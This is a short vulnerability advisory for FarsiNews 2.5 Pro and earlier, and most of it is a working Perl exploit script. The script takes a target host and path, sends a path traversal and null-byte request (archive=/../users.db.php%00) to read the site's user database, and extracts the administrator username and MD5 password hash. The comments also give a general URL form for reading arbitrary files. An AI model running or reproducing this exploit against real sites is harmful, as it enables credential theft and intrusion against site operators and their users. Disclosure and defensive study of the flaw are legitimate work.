Summary
"FarsiNews is a News Publishing System"

Improper user input allows attackers to include arbitrary file .

Credit:
The information has been provided by hessamx.

Details
Vulnerable Systems:
* FarsiNews version 2.5 Pro and prior

Exploit:
#!/usr/bin/perl
# << HESSAM-X >>
# FarsiNews 2.5Pro Exploi
# Exploit by Hessam-x (www.hessamx.net)
#Iran Hackerz Security Team
#WebSite: www.hackerz.ir
#
# Summery
# Name : FarsiNews [www.farsinewsteam.com]
# version : 2.5Pro
######################################################
# in FarsiNews if you change the archive value :
# http://localhost/index.php?archive=hamid
# see :
# Warning: file([PATH]/data/archives/hamid.news.arch.php):
# failed to open stream: No such file or directory in [PATH]\inc\shows.inc.php on line 642
# Warning: file([PATH]/data/archives/hamid.comments.arch.php):
# failed to open stream: No such file or directory in [PATH]\inc\shows.inc.php on line 686
# ...[and many other error]
# it means that shows.inc.php try to open '/archives/hamid.news.arch.php' (and also 'hamid.comments.arch.php') to read it's data .
# we can change the archive value to '/../users.db.php%00' to see all username and password .
# Exploit :
# http://localhost/index.php?archive=/../users.db.php%00
# http://localhost/Farsi1/index.php?archive=/../[file-to-read]%00
# F0und by hamid
use LWP::Simple;

print "-------------------------------------------\n";
print "= Farsinews 2.5Pro =\n";
print "= By Hessam-x - www.hackerz.ir =\n";
print "-------------------------------------------\n\n";

print "Target(www.example.com)\> ";
chomp($targ = <STDIN>);

print "Path: (/fn25/)\>";
chomp($path=<STDIN>);

$url = "index.php?archive=/../users.db.php%00";
$page = get("http://".$targ.$path.$url) || die "[-] Unable to retrieve: $!";
print "[+] Connected to: $targ\n";

$page =~ m/<img alt="(.*?)" src=/ && print "[+] Username: $1\n";
$page =~ m/style="border: none;" align="right" \/>(.*?)<\/font>/ && print "[+] MD5 Password: $1\n";